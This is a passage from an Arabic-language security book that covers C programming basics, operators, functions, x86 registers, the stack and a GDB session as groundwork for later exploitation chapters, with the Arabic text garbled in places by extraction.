‫)‪int (integer values‬‬
‫)‪float (decimal floating‬‬
‫)‪char (single character values‬‬

‫ُذنا نقوم بتَعريف ُمتغريين ‪ a‬و ‪ b‬و ُقمنا بتحديد نَوعيهام (‪ ،)int‬أي أن كالذم سيكون ‪ object‬ليستوعب عدد نوع ُه‬
‫"‪ "Integer‬ال نَعرق ُه َبعد‪َ ،‬عدد َصحيح‪.‬‬
‫;‪int a, b‬‬

‫لنأطذ مثال بسيط‪:‬‬


‫;‪int a = 13, b‬‬
‫;‪float k‬‬
‫;'‪char z = 'A‬‬

‫;‪k = 3.14‬‬
‫;'‪z = 'w‬‬
‫;‪b = a + 5‬‬

‫ُقمنا ُذنا بتعريف ُمتغري ‪ a‬وحددنا ما بداطله ُمسبق ًا! وذو الرقم ‪ُ ..13‬ثم َحددنا ُمتغري آطر ‪ ،b‬نوعه "عدد صحيح"‬
‫ولكن َمل نُحدد ما َس َيحويه بداطله‪ُ ..‬ثم َعرقنا ُمتغري آطر ‪ k‬نوعه "عدد عرشي"‪ ،‬ثم متغري آطر ‪ z‬سيحوي بداطله‬

‫حرف واحد ذو ‪ ..A‬وبعدذا حددنا القيمة التي نود وضعها داطل املتغري ‪ k‬وذي ‪ُ ..3.14‬ثم ُقمنا بإجراء تغيري ُ‬
‫للمتغري‬
‫‪ z‬من جديد حيث استبدلنا ما بداطله‪ ،‬وذو احلرف ‪ ..A‬ووضعنا بدالً منه حرف آطر‪ ،‬ذو ‪ُ ..w‬ثم أطري ًا أطربنا‬
‫صديقنا ا ُملتغري ‪ b‬أن ُه َس ُي ِّ‬
‫خزن داطله قيمة املتغري ‪ a‬وذي ‪ 13‬زائد ًا عليها عدد ‪..5‬‬

‫‪Programming‬‬
‫]‪[21‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وبالتايل ستكون قيمة ‪ b‬يف النهاية ‪. 18‬‬


‫سننتقل اآلن لتوضيح بعض ال ‪ Operators‬ا ُملهمة‪.‬‬

‫‪Arithmetic Operators‬‬

‫‪Operation‬‬ ‫‪Symbol Example‬‬


‫‪Addition +‬‬ ‫‪b‬‬ ‫=‬ ‫‪a‬‬ ‫‪+‬‬ ‫‪5‬‬
‫‪Subtraction -‬‬ ‫‪b‬‬ ‫=‬ ‫‪a‬‬ ‫‪-‬‬ ‫‪5‬‬
‫* ‪Multiplication‬‬ ‫‪b‬‬ ‫=‬ ‫‪a‬‬ ‫*‬ ‫‪5‬‬
‫‪Division /‬‬ ‫‪b‬‬ ‫=‬ ‫‪a‬‬ ‫‪/‬‬ ‫‪5‬‬
‫‪Modulo reduction %‬‬ ‫‪b‬‬ ‫=‬ ‫‪a‬‬ ‫‪%‬‬ ‫‪5‬‬

‫َسنقوم بتوضيح ال "‪ "Mod‬وذو القيمة ا ُملتبقية بعد لجراء عملية الق َ‬
‫سمة‪ ،‬وكَمثال‪ ،‬لنَفرض ُمتغري ‪ a=13‬وأردنا‬
‫القسمة عىل ‪ 5‬قيكون الناتج ‪ 2‬ويتبقى من الرقم ‪ 13‬بعد عملية القسمة ذذه قيمة‪ ..‬ذي (‪.)3‬‬
‫)‪(13%5 = 3‬‬

‫نستخدم أيضا بعض االطتصارات )‪ (Shorthand Expressions‬يف بعض الدوال مثل تلك املستخدمة يف دالة ال ‪For‬‬

‫دوم ًا ‪.i++‬‬

‫‪Full Expression‬‬ ‫‪Shorthand‬‬ ‫‪Explanation‬‬


‫‪i = i + 1‬‬ ‫‪i++ or ++i‬‬ ‫‪Add 1 to the variable‬‬
‫‪i = i - 1‬‬ ‫‪i-- or --i‬‬ ‫‪Subtract 1 from the variable‬‬

‫وعندَ ما َيتم استخدام َذذه ال َعالقات مع ال ‪ Arithmetic Operators‬قتختلف النواتج تبع ًا لنوع االطتصار ا ُملستخدم‪.‬‬

‫‪Programming‬‬
‫]‪[22‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫مثال‪:‬‬
‫;‪int a, b‬‬
‫;‪a = 5‬‬
‫;‪b = a++ * 6‬‬
‫ماذا سيحوي ك ً‬
‫ال من ‪ a‬و ‪ b‬؟‬

‫نعم‪ ..‬سيكون الناتج كالتايل‪:‬‬


‫‪b = 30‬‬
‫‪a = 6‬‬

‫ملاذا؟‬
‫ألن ‪ a++‬تعني أننا نُخرب الربنامج بإضاقة ‪ 1‬لاىل قيمة املتغري ‪ a‬ولكن "بعد" لمتام العملية احلسابية!‪.‬‬

‫لنستعرض مثال آطر‪:‬‬


‫;‪int a, b‬‬
‫;‪a = 5‬‬
‫;‪b = ++a * 6‬‬
‫وذذا َيعني أن ُه َستزداد قيمة ا ُملتغري ‪" a‬قبل" لجراء َعملية الرضب!‪:‬‬

‫;‪a = a + 1‬‬
‫;‪b = a * 6‬‬
‫وبالتايل تكون قيمة ‪ b‬يف النهاية = ‪ ،36‬ويكون (‪)a = 6‬‬

‫ذذا رائع‪ُ .. ،‬يمكنُنا أيض ًا كنوع من اإلطتصار لضاقة قيمة ُمعينة ُمل ٍ‬
‫تغري ما‪ ،‬قيقوم بإجراء اجلمع واإلحتفاظ بالناتج‬
‫النهائي بداطله يف نفس الوقت!‪ ،‬يتم استخدامها كثري ًا يف األكواد‪.‬‬

‫‪Programming‬‬
‫]‪[23‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Full Expression Shorthand Explanation


i = i + 12 i+=12 Add some value to the variable.
i = i - 12 i-=12 Subtract some value from the variable.
i = i * 12 i*=12 Multiply some value by the variable.
i = i / 12 i/=12 Divide some value from the variable.

Comparison Operators
Condition Symbol Example
Less than < (a < b)
Greater than > (a > b)
Less than or
equal to <= (a <= b)
Greater than or
equal to >= (a >= b)
Equal to == (a == b)
Not equal to != (a != b)

‫ قنحن‬،(a = = 5) ‫ بينام عندما نكتب‬..a ‫ داطل املُتغري‬5 ‫ َضع قيمة‬..‫َحن نَعني‬


ُ ‫ َقن‬،‫( عىل سبيل املثال‬a = 5) ‫عند َقولنا‬
‫ آطر ُيمكن استخدامه‬symbol ‫ ذناك‬.‫ أم ال‬5 ‫ ما لذا كانت‬a ‫نطلب من الربنامج الت ََح ُقق من القيمة التي َحيملها املُتغري‬
:‫" كامييل‬Not" ‫ وذو ال (!) ويعني‬condition ‫ب ُمفرده قبل ال‬

!(a < b) is equivalent to (a >= b)


:OR ‫ وال‬AND ‫ونقوم بختامهم ب َرمزي ال‬

Logic Symbol Example


OR || ((a < b) || (a < c))
AND && ((a < b) && !(a < c))

Programming
[24]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫الرش َطني األول أو الثاين‪ ..‬قتكون النتيجه ‪ .True‬ويف املثال الثاين‪ :‬سيكون‬ ‫َحن ُذنا نُريد َحتقيق ّ‬
‫أي م َن َ‬ ‫يف املثال األول‪ :‬ن ُ‬
‫الناتج ‪ True‬ققط لذا حتقق الرشطني مع ًا‪ ..‬وذو أن تكون قيمة ‪ a‬أصغر من قيمة ‪ b‬ويف نفس الوقت ال تقل قيمة ‪ a‬عن‬
‫قيمة ‪.c‬‬

‫ذذا املثال يوضح العالقة أيض ًا‪:‬‬


‫))‪While ((hungry) && !(cat_present‬‬
‫{‬
‫;‪Find some food‬‬
‫))‪If(!(food_is_on_a_mousetrap‬‬
‫;‪Eat the food‬‬
‫}‬

‫ذل تتذكر دالة ‪While‬؟‪..‬‬

‫ُقمنا ُذنا بوضع رشطني حلدوثها‪ ،‬ومها‪ُ :‬جوع الفأر‪ ،‬وغياب القط‪ .‬قسيبحث عن قطعة اجلبن‪ ،‬ثم تم قتح رشط آطر‬

‫وذو أن تكون قطعة اجلُبن ذذه َل َ‬


‫يست ب َمصيدة الفئران‪ ،‬حينها ُقم بالتهامها‪ُ .‬يمكنُنا أيض ًا التعبري َعن ُحدُ وث اجلوع‬
‫بالصيغة )‪ While (hungry ==1‬ألن الربنامج يرى أن القيمة ‪ 0‬تعني ‪ False‬والقيمة ‪ 1‬تعني ‪.True‬‬

‫‪Functions‬‬

‫بعد أن انتهينا من ذذه األساسيات‪ ،‬سننتقل اآلن لىل ال ‪.Functions‬‬

‫‪Programming‬‬
‫]‪[25‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫أحيان ًا يود املُربمج استخدام جمموعة معينة من ال ‪ Instructions‬ليقوم بتنفيذذا يف أكثر من َموضع‪ ،‬قمث ً‬
‫ال لذا قرضنا‬
‫أننا قمنا بكتابة جمموعة أسطر برجمية تقوم بإنشاء قناة اتصال ب ‪ُ Server‬حمدد وبطريقة معينة‪ ،‬قإذا كُنا نكتُب برنامج‬
‫طويل‪ ،‬وأردنا أن نتصل ِبذا السريقر يف عدة مواضع داطل الكود‪ ،‬قليس من احلكمة تكرار ذذه األسطر كل مرة‬
‫سمى "‪ ."Function‬وكلام أردنا‬
‫نحتاج قيها إلنشاء االتصال‪ُ ،‬يمكننا وضعهم يف يشء أشبه ب ‪ُ Sub-Program‬ي ّ‬
‫لنشاء االتصال اكتفينا بكتابة عنوان ذذه ال ‪ Function‬ققط لتوقري اجلهد‪.‬‬
‫نأطذ مثال واقعي لنُ َط ِّبق عليه‪:‬‬
‫ل ُ‬
‫لنفرض أنك تَسري بسيارتك يف أحد الشوارع ثم تُصادف ُمفرتق بعد قليل‪ ،‬وتود أن حتدد ما لذا كنت ستتجه لىل اليمني‬
‫ُجهز َ‬
‫لك جمموعة من التفاصيل‬ ‫أو لىل اليسار!‪ ،‬سنقوم ُذنا بكتابة ‪ Function‬نُطلق عليها ‪ Function Turn‬أي أننا سن ِّ‬
‫التي سوف يتم اتباعها عند رغبتك بتغيري مسارك!‪ ،‬ولكننا سنستخدم ميزة برجمية وذي أننا سنرتك لك القرار يف أن‬
‫ُحتدد االجتاه قيام اذا كنت ستتجه لىل اليمني أم اىل اليسار‪ .‬سنعترب االجتاه يف حد ذاته ‪َ Variable‬سن َُس ِّميه‬
‫‪َ variable_direction‬ل َك أن ُ َحتد ُد ُه أنت ُثم تقوم ال ) (‪ Turn‬بإجراء عملها بنا ًء عليه‬

‫ستقوم ال ‪ Function‬بتنفيذ اآليت‪:‬‬


‫‪ ‬تشغيل ضوء اإلشارة اليمنى أو اليُسى حسب اإلجتاه املراد االنتقال لليه (‪.(Activate Blinker‬‬

‫‪ ‬تبدأ السيارة بالتباطئ (‪.(Slow down‬‬

‫‪ ‬سنقوم بتفحص حركة املرور يف احلارة التي سندطل لليها! )‪.(Check for oncoming traffic‬‬

‫ذذا مثال ُيوضح عمل ذذه ال ‪:function‬‬

‫‪Programming‬‬
‫]‪[26‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫)‪Function Turn (variable_direction‬‬


‫{‬
‫;‪Activate the variable_direction blinker‬‬
‫;‪Slow down‬‬
‫;‪Check for oncoming traffic‬‬
‫)‪while (there is oncoming traffic‬‬
‫{‬
‫;‪Stop‬‬
‫;‪Watch for oncoming traffic‬‬
‫}‬
‫;‪Turn the steering wheel to the variable_direction‬‬
‫)‪while (turn is not complete‬‬
‫{‬
‫)‪if(speed < 5 mph‬‬
‫;‪Accelerate‬‬
‫}‬
‫;‪Turn the steering wheel back to the original position‬‬
‫;‪Turn off the variable_direction blinker‬‬
‫}‬

‫الحظ أن ال َقوس األول (اخلارجي) تَم َقتحه يف البداية وغلقه يف النهاية‪ ،‬ومجيع األحداث َمتت بينهام‪ ..‬استَخدمنا دالة‬
‫محة‪..‬‬
‫‪ While‬لن ََضع َرشط َعدَ م الدُ طول لىل احلارة يف حالة كَوهنا ُمز َد َ‬
‫قإن َمل َتكُن كذلك‪َ ،‬ق َس َينتقل ال ‪ pointer‬لىل ال ‪ Instruction‬التالية وذي دوران املقود لىل اإلجتاه املُراد (تم تَرك ُه‬
‫كمتغري)‪ُ ،‬ثم َو َضعنا َرشط آطر وذو أن السيارة نفسها ال ُبد أن تكون عىل ِسعة كاقية للقيام بالدوران واالندماج‬
‫ُ‬
‫باحلارة قاستخدمنا دالتني مع ًا‪ Whlie ..‬وداطلها دالة ‪ُ ..if‬ثم َط َرجنا م ُنهم لنُعيد م َ‬
‫قود السيارة ل َوضعه الطبيعي ونُطفئ‬
‫خلروج من ال ‪ Function‬أطري ًا‪.‬‬
‫مصباح اإلشارة‪ُ ،‬ثم ا ُ‬

‫‪Programming‬‬
‫]‪[27‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫يف ُلغة ال ‪ C‬حيدُ ث استدعاء لل ‪ ،Function‬وبعدَ أداء َعملها‪ ،‬لما أن تقوم بإرجاع ناتج أو ٍ‬
‫قيمة ما َلنا أو َملن قا َم‬ ‫ّ‬ ‫َ‬ ‫َ‬
‫وربام ال تُرجع لنا يشء!‪ ،‬ونُطلق عىل ال ‪ function‬التي‬
‫باستدعائها (‪ُ (functions can return a value to a caller‬‬
‫ال تُرجع لنا قيمة بعد انتهاء عملها بال ) (‪.void‬أما يف حالة لرجاع ال ‪ function‬قيمة َبعدَ انتهاء َع َملها نَقوم باإلشارة‬
‫لىل ا ُملتغري الذي َس َ‬
‫تضع قيه ال ‪ function‬ذذا ال ‪َ ،return value‬م َع توضيح ال ‪ Data type‬اخلاص به‪..‬‬

‫كيف ذلك؟‬
‫حسن ًا‪ ..‬سنرشح ذذا بمثال‪:‬‬

‫سرتجع لنا‬ ‫ماييل ‪ function‬اسمها ) (‪ factorial‬نقوم باستدعائها إلجراء عملية رياضية عىل املُ ِّ‬
‫تغري ‪ ،a‬وبعد انتهائها ُ‬
‫قيمة تقوم بوضعها يف ا ُملتَغري ‪.b‬‬
‫;‪int a=5, b‬‬
‫;)‪b = factorial(a‬‬

‫نَقوم يف ذذا الكود بتَعريف ُمتغريين بنوع ‪ُ ،int‬ثم أطربنا املتغري‪ b‬أن ُه سيحوي قيمة‪ ،‬ستكون بالطبع ‪ ،int‬وذذا يعني أن‬
‫ال ‪ return value‬القادم من ال ) (‪ factorial‬سيكون نوعه ‪ .integer‬ووضعنا قيمة ا ُملتغري ‪" a‬بخمسة"‪ ،‬سيكون )‪(a‬‬

‫ُذنا ذو ال ‪ Argument‬الذي َيتم لمرار ُه لىل ذذه ال ‪ ،function‬بمعنى أننا سنُدطل الرقم ‪ 5‬إلجراء ال َع َملية احلسابية‬
‫َعليه ُثم ن ََضع الناتج يف ا ُملتغري ‪.b‬‬

‫ذاذ َي ال ) (‪ factorial‬التي ُقمنا باستدعائها‪:‬‬

‫‪Programming‬‬
‫]‪[28‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

int factorial (int x)


{
int i;
for (i=1; i < x; i++)
x *= i;
return x;
}

‫ يف النهاية‬.integer ‫ أنه‬data type ‫ وتَم َحتديد ال‬،5 ‫دطل وذو يف حالتنا‬


َ ‫ تَم تركها تبع ًا للرقم ا ُمل‬x ‫الحظ أن قيمة‬
.)5*4*3*2*1 = 120( ‫ قيمة ذي‬b ‫سيحوي ا ُملتغري‬

.‫" يف الباب الثالث بإذن اهلل‬function ‫سأرشح لك بالتفصيل كيف تَتم َع َملية "استدعاء ال‬
ٍ
‫وظيفة ما ققط بال‬ ‫ وذ َي التي نَستدعيها لتقوم ب‬،"return value" ‫ التي ال تُرجع َلنا قيمة ُمعينة‬Function ‫ت ََذكر أن ال‬
‫ لتقوم‬Turn_Function( ) ‫ الحظ أننا استدعينا ال‬،‫ لذا جئنا للمثال اخلاص بقيادة السيارة املايض‬."Void Function"
‫ ألننا ققط ن ََود تنفيذ جمموعة من ال‬،‫ منها‬return value ‫ قنحن لسنا بانتظار‬،‫بعملية الدطول للحارة ققط‬
.!‫ بدون االضطرار لكتا َبتهم كل َمرة قبل الدطول ألي حارة‬instructions

:functions ‫َسنَختم َِبذا املثال ققرة ال‬


void turn (variable_direction, target_street_name)
{
Look for a street sign;
current_intersection_name = read street sign name;
while (current_intersection_name != target_street_name)
{
Look for another street sign;
current_intersection_name = read street sign name;
}
Activate the variable_direction blinker;
Slow down;

Programming
[29]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Check for oncoming traffic;


while (there is oncoming traffic)
{
Stop;
Watch for oncoming traffic;
}
Turn the steering wheel to the variable_direction;
while(turn is not complete)
{
if(speed < 5 mph)
Accelerate;
}
Turn the steering wheel right back to the original position;
Turn off the variable_direction blinker;
}

‫" وذو اسم‬target_street_name" ‫تغري‬


ِّ ‫“ أو ُم‬Argument” ‫ تَم لضاقة‬..‫ أكثر واقعية‬Function ‫ولكي تكون ال‬
‫ واآلن سنُح ِّقق اإلستفادة من َذذه‬."variable_direction" ‫ األول‬Argument ‫ بجانب ال‬،‫الشارع ا ُمل َراد اإلندماج لليه‬
.‫الوقت املُناسب‬
َ ‫ يف‬function ‫ بأن نَكتُب َبرنا َمج للسيارة ُثم نَستَدعي ال‬function ‫ال‬

Begin going East on Main Street;

if (street is blocked)
{
Turn (right, 15th Street);
Turn (left, Pine Street);
Turn (right, 16th Street);
}
else
Turn (right, 16th Street);

Turn (left, Destination Road);


for (i=0; i<5; i++)

Programming
[30]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫;‪Drive straight for 1 mile‬‬

‫;‪Stop at 740 Destination Road‬‬

‫أين ُقمنا باستدعاء ) (‪Turn‬؟‪.‬‬


‫ظت َ‬‫الح َ‬
‫ذل َ‬
‫ُقمنا أيضا بإمرار ال ‪ Arguments‬لليها ل َيتم َوضع كُل منهم مكان ال ‪ variable‬ا ُملناظر له وتنفيذ املطلوب‪ ،‬ولن ننتظر‬
‫‪ return value‬منها ألهنا ”‪.“void function‬‬

‫ال ُثم نَعود لىل َ‬


‫الرب َجمَة من َجديد‪ ..‬سنتعرف عىل َبعض ال ‪ Registers‬التي‬ ‫سننتقل اآلن لىل موضوع ُُمتلف قلي ً‬
‫َيستخدمها ال ‪ CPU‬أثناء تعا ُمله مع الربامج ‪.‬‬

‫‪x86 Processor‬‬

‫َسنأطذ قاصل قصري لنُشاذد بعض األمور ا ُملتعلقة بال ‪ x86 processor‬لنَتعرف عىل كَيفية تعا َمل ال‪ CPU‬مع ال‬
‫‪َ ..Compiled Program‬يمتَلك ال ‪ Processor‬جمموعة من ال ‪ ..Registers‬قهو َيستَخدمهم ك ‪internal variables‬‬

‫ُيو ِّظفهم بشكل دقيق إلمتام َمهامه ا ُملختلفة‪.‬‬

‫نعم‪ ،‬ولكن ماذا نعني بال ‪..Register‬؟‬

‫لهنا مساحة ختزين صغرية داطل ال ‪ CPU‬وتُعد أِسع طريقة يستخدمها للوصول والتعامل مع ال ‪.Data‬‬
‫‪A small amount of storage on the CPU and is the fastest method for a CPU to access data.‬‬

‫‪Programming‬‬
‫]‪[31‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ُيمكنُك رؤية الكثري من التفاصيل‪ ،‬كام يمكنك الوقوف داطل ال ‪ Compiled Program‬و ُمراقبة ال ‪memory‬‬

‫ا ُملخصصة لربناجمك وترى ب َعينَيك أوضاع ال ‪ Registers‬أثناء عمل الربنامج‪ ،‬لهنا وظيفة ال "‪."Debugger‬‬

‫ما ذذا ال ‪..Debugger‬؟‬

‫مثلام َيستَخدم الكيميائي امليكرسكوب لفحص العينات‪َ ،‬يقوم املُربمج باستخدام امليكرسكوب أيض ًا‪َ ،‬لكنّ ُه سيتفحص‬
‫رجمي تُريدُ ه و ُمراقبة تأثري ُه عىل اجلهاز‪ ،‬كَام ُيمكنُك تغيري القيَم وا ُملتَغريات‪..‬‬
‫به برناجمه‪ُ ،‬يمكن َُك الوقوف عىل أي سطر َب َ‬
‫وغريذا من األمور الشيقة!‪.‬‬
‫سنقوم يف الباب الثالث بإذن اهلل باستخدام ال ”‪ “GDB Debugger‬مع أحد الربامج وقحص ال ‪Registers‬‬

‫ا ُمل َخص َصة ل ُه واستخراج بعض األططاء الربجمية واستغالهلا يف اطرتاق الربنامج!‪ .‬بينَام سنكتفي حالي ًا برشح بعض‬
‫األساسيات ا ُملتعلقة بال ‪.Registers‬‬
‫َسنَقوم َبوضع مثال ل َربنا َمج تَم َقتحه باستخدام ‪ GDB debugger‬ونقوم ب َع َمل ‪ Breakpoint‬عند ال ) (‪main‬‬

‫الربنا َمج‪ ..‬ولكن‬


‫لنُشاذد َوضع ال ‪ Registers‬أثناء تَشغيل الربنامج‪ .‬الحظ أن ال ) (‪ main‬ذي أول ما َيتم قرائته يف َ‬
‫َمهالً!‬

‫ماذا نستفيد من ذذا ال ‪..Breakpoint‬؟‬


‫”‪“it gives you the ability to halt a process that is being debugged‬‬

‫وملاذا نقوم ب َع َمل ‪ halt‬لل ‪..process‬؟‬


‫‪By halting a process, you are able to inspect variables, stack arguments, and memory locations.‬‬

‫‪Programming‬‬
‫]‪[32‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

reader@hacking:~/booksrc $ gdb -q ./a.out


Using host libthread_db library
"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) break main

Breakpoint 1 at 0x804837a
(gdb) run
Starting program: /home/reader/booksrc/a.out
Breakpoint 1, 0x0804837a in main ()
(gdb) info registers

eax 0xbffff894 -1073743724


ecx 0x48e0fe81 1222704769
edx 0x1 1
ebx 0xb7fd6ff4 -1208127500
esp 0xbffff800 0xbffff800
ebp 0xbffff808 0xbffff808
esi 0xb8000ce0 -1207956256
edi 0x0 0
eip 0x804837a 0x804837a <main+6>
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

:‫ ُذم عىل الرتتيب‬،‫الربنا َمج‬


َ ‫ ظهروا عند بداية َع َمل‬Registers ‫الحظ أول أربعة‬
(EAX, ECX, EDX, and EBX)

"temporary variables" ‫ أمهها أهنم ُيعتربوا‬،‫ يف ُأمور عدّ ة‬CPU ‫مهم ال‬
ُ ‫ َيستَخد‬General Registers ‫ُيط َلق َعليهم‬
.Instructions ‫ أثناء تنفيذه لل‬CPU ‫مهم ال‬
ُ ‫َيستَخد‬

Programming
[33]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ماييل توضيح ُُمت ََرص لك ٍ‬


‫ُل م ُنهم‪:‬‬

‫‪EAX‬‬
‫ُيط َلق َعليها أيض ًا ‪ Accumulator register‬تقوم بإجراء َبعض ال َع َمليات احلسابية مثل اجلمع والطرح و املقارنة‪،‬‬
‫وأذم ما ُي َم ِّيزذا أهنا ُت َعد مكان ختزين ال ‪.return values‬‬ ‫وأيض ًا الرضب والق َ‬
‫سمة‪َ ،‬‬
‫ذل تتذكر ذذا ال ‪..return value‬؟‬

‫لقد حتدثنا عن ُه يف ققرة ال ”‪ ،“Functions‬لذ ًا‪ُ ..‬يمكننا التأكد من اكتامل أداء ‪ function‬ب َعينها َعن َطريق َقحص ُحمتَوى‬
‫ال ‪ ،EAX‬كَام ُيمكنُنا َمعر َقة القيمة الفعلية هلذا ال ‪.return value‬‬

‫‪ECX‬‬
‫نُطلق عليها ”‪ ،“Count register or Counter‬ألهنا تُستَخدَ م يف ال ‪.Looping operations‬‬

‫‪EDX‬‬
‫ذذه ُيط َلق عليها ‪ ،Data register‬و ُت َعد امتداد لل ‪ EAX‬أي أهنا تدعمها يف حالة ختزين كمية أكرب من ال ‪ data‬أثناء‬
‫لجراء احلسابات األكثر تعقيد ًا!‪.‬‬

‫‪EBX‬‬
‫وأطري ًا‪ ،Base register ..‬مل ت َُصمم ل َوظيفة ب َعينها‪َ ،‬لكنها تُستَخدَ م كَمساحة لضاقية للتخزين‪.‬‬

‫‪Programming‬‬
‫]‪[34‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ثم يظهر لنا نوعني جديدين من ال ‪ Registers‬وذم‪:‬‬


‫‪ESP and EBP‬‬
‫‪ Stack Pointer‬و ‪ Base Pointer‬يتم استخدامهم إلدارة عملية ال ‪ function calls‬والتعا ُمل مع ال ‪.Stack‬‬

‫سنتعرض هلم بمزيد من التفصيل يف‬


‫الباب الثالث‪.‬‬
‫ولكن ماذذا ال ‪ Stack‬؟‬

‫يبدو أهنا ‪ structure‬يقوم باالحتفاظ‬


‫بالبيانات التفصيلية اخلاصة بال‬
‫‪ ،function calls‬وتعتمد مبدأ ال‬
‫)‪ (FILO‬ويعني ”‪“First In Last Out‬‬

‫كام يظهر بالشكل‪ ،‬نُطلق عىل عملية لرسال البيانات لليها ب”‪ “Push‬وعملية استخراج البيانات منها ب ”‪.“Pop‬‬

‫َيف َيتم لرسال ال َبيانات لىل ال ‪ .Stack‬وبوجه عام‪ ..‬تقوم ال‬


‫سأوضح لك عملية ‪ function call‬باألسفل لتُشاذد ك َ‬
‫ِّ‬
‫‪ Stack‬بثالثة أمور رئيسية ذي‪:‬‬
‫‪Stores information about how a function is called, the parameters it takes, and how it should‬‬
‫‪return after it is finished executing.‬‬

‫ذذا مثال ل َع َملية لجراء ‪ ،function call‬سنَرى َمع ًا دور ُكالً من ال )‪ ،(ESP and EBP‬ذذه ذي الصيغة ا ُملستَخدَ مة‬
‫لعمل ‪ call‬لل ‪ function‬ا ُملسامة ) (‪ my_pencils‬بلغة ال ‪:C‬‬
‫;)‪int my_pencils (color_one, color_two, color_three‬‬

‫‪Programming‬‬
‫]‪[35‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:x86 Assembly ‫ بال‬Call ‫وذكذا تَتم عملية ال‬


push color_three
push color_two
push color_one
call my_pencils

‫ كام أنه دائ ًام‬،!)Stack ‫ الثالث تم وضعه أوالً يف أسفل ال‬Argument ‫ (الحظ أن ال‬،Stack frame ‫وذذا ذو شكل ال‬
.(Top of Stack) ‫ لىل ال‬ESP ‫ما تُشري ال‬

.Stack ‫ كي نُشاذد ما َس َيحدُ ث يف ال‬function ‫واآلن سنقوم بإضاقة سطر لىل ذذه ال‬

int my_pencils (color_one, color_two, color_3);


{
char uni_pen_color_one]10[
}

Programming
[36]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫سنُالحظ ظهور طانة أطرى قوق طانة ال ‪ Return address‬يف ال ‪ ،stack‬سيكون ِبا ا ُملتغري )‪(uni_pen_color_one‬‬

‫وسينتقل ال ‪ Stack pointer‬لالشارة لليها‪ ،‬ألن ُه ُيشري دوم ًا لىل ال "‪."Top of Stack‬‬

‫سنكتفي ِبذا القدر حالي ًا‪ .‬لنعود لىل ال ‪ Registers‬اآلطرى‪:‬‬

‫‪ESI and EDI‬‬


‫‪‬‬ ‫‪(ESI) Source Index, holds the location of the input data stream.‬‬
‫‪‬‬ ‫‪(EDI) Destination Index, points to the location where the result of a data operation is‬‬
‫‪stored.‬‬

‫ولتَسهيل َع َملية التَذكُّر‪:‬‬


‫‪‬‬ ‫‪ESI is used when we need to read data from something.‬‬
‫‪‬‬ ‫‪EDI is used when we want to write data in somewhere.‬‬

‫‪EIP‬‬
‫ُيط َلق َعليها ‪ Instruction Pointer‬ألهنا تُشري لىل ال ‪ Instruction‬احلالية التي يقوم ال ‪ CPU‬بقرائتها‪ُ .‬يمكن َُك َخت ُّيلها‬
‫قرأذا أثناء قرائته ملجلة أو موضو ٍع ما‪ ،‬كذلك ال ‪ processor‬يستخدم لصبعه‬
‫ب َشخص َي َضع لصبعه عىل كُل كَل َمة َي َ‬
‫اخلاص وذو ال ‪ EIP‬ليقرأ كل ‪َ Instruction‬جيري تَنفيذ ُه‪ .‬ذذه من ال ‪ registers‬التي ستوليها اذتاممك أثناء عملية ال‬
‫‪.Debugging‬‬

‫الرب َجمية‪..‬‬
‫لىل ُذنا نكون قد أهنينا ذذا الفاصل‪ ..‬ذيا لنَعود من جديد لنَستكمل األساسيات َ‬

‫‪Programming‬‬
‫]‪[37‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Arrays

.Memory ‫ حمددة تتموضع داطل ال‬data type ‫ ذات‬n ‫لهنا جمموعة من العنارص عددذا‬

.“Buffers” ‫ أيض ًا ُيط َلق عليها‬،“Is a list of n elements of a specific data type”

:character array ‫ماييل مثال يوضح لنا ال‬

#include <stdio.h>

int main()
{
char str_a[20];
str_a[0] = 'H';
str_a[1] = 'e';
str_a[2] = 'l';
str_a[3] = 'l';
str_a[4] = 'o';
str_a[5] = ',';
str_a[6] = ' ';
str_a[7] = 'w';
str_a[8] = 'o';
str_a[9] = 'r';
str_a[10] = 'l';
str_a[11] = 'd';
str_a[12] = '!';
str_a[13] = '\n';
str_a[14] = 0;
printf (str_a);
}

:GCC ‫ له باستخدام‬compile ‫وذذا شكل الربنامج عند عمل‬

Programming
[38]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪reader@hacking:~/booksrc $ gcc -o char_array char_array.c‬‬


‫‪reader@hacking:~/booksrc $ ./char_array‬‬
‫!‪Hello, world‬‬
‫‪reader@hacking:~/booksrc $‬‬

‫جيد!‪..‬‬
‫لدينا مالحظة بسيطة‪ ..‬لقد ُقمنا بحجز ‪ buffer‬مساحته تتسع ل ‪ 20‬حرف‪ ،‬أي أنه تم ختصيص ‪ 20 bytes‬لنا‪ .‬لكننا‬
‫مألنا ققط (‪ )12 bytes‬منهم!‪ ،‬أيض ًا آطر حرف كان (‪ُ .. )0‬يطلق عليه ”‪ “null byte‬و ُيستَخدَ م إلطبار ال ‪functions‬‬

